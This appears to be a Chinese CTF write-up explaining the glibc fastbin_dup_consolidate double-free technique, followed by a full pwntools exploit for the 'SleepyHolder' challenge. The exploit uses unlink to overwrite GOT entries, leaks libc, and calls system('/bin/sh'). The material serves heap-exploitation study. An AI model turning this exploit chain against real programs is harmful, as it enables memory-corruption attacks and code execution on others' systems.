比较神奇的一个利用。
pwntools —> cyclic cyclic_find
i locals

fastbin_dup_consolidate原理

当创建一个0x20-0x80大小的chunk并free的话,该chunk会被放入fastbins,此时如果再次free便会报错;但是如果此时分配一个比较大的chunk(起码smallbin大小),便会触发程序的malloc_consolidate
这个结果就是该chunk不再在fastbins中了,实际被转移到了unsortedbins。所以我们可以double free。

继续使用how2heap的例子来理解。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>

int main() {
void* p1 = malloc(0x40);
void* p2 = malloc(0x40);
fprintf(stderr, "Allocated two fastbins: p1=%p p2=%p\n", p1, p2);
fprintf(stderr, "Now free p1!\n");
free(p1);

void* p3 = malloc(0x400);
fprintf(stderr, "Allocated large bin to trigger malloc_consolidate(): p3=%p\n", p3);
fprintf(stderr, "In malloc_consolidate(), p1 is moved to the unsorted bin.\n");
free(p1);
fprintf(stderr, "Trigger the double free vulnerability!\n");
fprintf(stderr, "We can pass the check in malloc() since p1 is not fast top.\n");
fprintf(stderr, "Now p1 is in unsorted bin and fast bin. So we'will get it twice: %p %p\n", malloc(0x40), malloc(0x40));
}

运行结果:

1
2
3
4
5
6
7
8
./fastbin_dup_consolidate 
Allocated two fastbins: p1=0x555dbdb57260 p2=0x555dbdb572b0
Now free p1!
Allocated large bin to trigger malloc_consolidate(): p3=0x555dbdb57300
In malloc_consolidate(), p1 is moved to the unsorted bin.
Trigger the double free vulnerability!
We can pass the check in malloc() since p1 is not fast top.
Now p1 is in unsorted bin and fast bin. So we'will get it twice: 0x555dbdb57260 0x555dbdb57260

SleepyHolder

简单程度和uaf相当hhhh

题目

main

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // eax
unsigned int buf; // [rsp+4h] [rbp-1Ch]
int fd; // [rsp+8h] [rbp-18h]
int v6; // [rsp+Ch] [rbp-14h]
char s; // [rsp+10h] [rbp-10h]
unsigned __int64 v8; // [rsp+18h] [rbp-8h]

v8 = __readfsqword(0x28u);
alarm0x3c(); //
//
puts("Waking Sleepy Holder up ...");
fd = open("/dev/urandom", 0);
read(fd, &buf, 4uLL);
buf &= 0xFFFu;
malloc(buf); // malloc something random to change heap_address every time
//
sleep(3u);
puts("Hey! Do you have any secret?");
puts("I can help you to hold your secrets, and no one will be able to see it :)");
while ( 1 )
{
puts("1. Keep secret");
puts("2. Wipe secret");
puts("3. Renew secret");
memset(&s, 0, 4uLL);
read(0, &s, 4uLL);
v3 = atoi(&s);
v6 = v3;
switch ( v3 )
{
case 2:
wipe_secret(); //仅仅把free掉并把该chunk的inuse位标记为0
break;
case 3:
renew_secret(); //重新改写1或者2的chunk,大小最大还是原来那么大。
break;
case 1:
keep_serect(); //选择123来使用calloc分别分配大小为40,4000,400000大小的chunk且都只能分配一块,12的chunk可以wipe或者renew,3的chunk分配就再也没法变了。inuse位会被标记为1.
break;
}
}
}

思路

假设三个chunk分别为chunk0,1,2;

  1. 首先使用malloc_consolidate(),将chunk0 double free,进入unsortedbin,这个时候再申请chunk0,会将其从fastbin中取下,且inuse位被标记为1.
  2. 之后使用unlink,伪造在chunk0中,free chunk1,fake chunk便会被free进入chunklist。
  3. 通过覆盖堆指针,将free_got覆写为puts_plt,泄露出atoi_got的地址,从而计算出libc的基址。
  4. 算出system的地址,并将其写入free_got,调用free便可以getshell。

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
# -*- coding:utf-8 -*-
from pwn import *

context.log_level = 'debug'
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
p = process('./SleepyHolder')

elf = ELF('./SleepyHolder')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') //ldd ./SleepyHolder

def add(index, content):
p.recvuntil('3. Renew secret\n')
p.sendline('1')
p.recvuntil('\n')
p.sendline(str(index))
p.recvuntil('secret: \n')
p.send(content)

def delete(index):
p.recvuntil('3. Renew secret\n')
p.sendline('2')
p.recvuntil('2. Big secret\n')
p.send(str(index))

def update(index, content):
p.recvuntil('3. Renew secret\n')
p.sendline('3')
p.recvuntil('2. Big secret\n')
p.sendline(str(index))
p.recvuntil('secret: \n')
p.send(content)

#分配chunk1 chunk2
add(1, 'a'*0x10)
add(2, 'b'*0x10)
#释放chunk1
delete(1)
#分配chunk3,让chunk1被移动到unsorted bin,使chunk2的inuse位变为0
add(3, 'c'*0x10)
#这时再释放chunk1,让chunk1重新进入fast bin
delete(1)

heap_ptr = 0x6020d0 #堆指针
#准备unlink,在chunk1中伪造chunk
payload = p64(0) + p64(0x21)
payload += p64(heap_ptr - 0x18) + p64(heap_ptr - 0x10)
payload += p64(0x20)#因为内存复用,这里设置chunk2的prev_size
add(1, payload)
#此时chunk2的inuse位是0,所以触发unlink
delete(2)

free_got = elf.got['free']
atoi_got = elf.got['atoi']
puts_got = elf.got['puts']
puts = elf.symbols['puts']
system_off = libc.symbols['system']
atoi_off = libc.symbols['atoi']

#unlink后 堆指针被修改,向现在指针所指内存写入数据
#将chunk2指针覆盖为atoi_got
#将chunk3指针覆盖为puts_got
#将chunk1指针覆盖为free_got
payload = p64(0) + p64(atoi_got)
payload += p64(puts_got) + p64(free_got)
update(1, payload)
#再次向chunk1写入,相当于向free_got写入
#这里将free_got写为puts
update(1, p64(puts))

#删除chunk2,但是free的got表已经被写为puts,所以这里实际调用puts(chunk2)
#因为chunk2指针被覆盖为atoi_got,所以输出的是atoi的实际地址
#由此可计算出libc_base
delete(2)
libc_base = u64(p.recv(6) + '\x00\x00') - atoi_off#通过调试发现,这里只能取6个字节
print "libc_base : %#x" % libc_base
system = libc_base + system_off

#将free的got表写为system
update(1, p64(system))
#向chunk2中写入binsh 释放chunk2时 chunk2的内容会作为参数
add(2, '/bin/sh\x00')
delete(2)

p.interactive()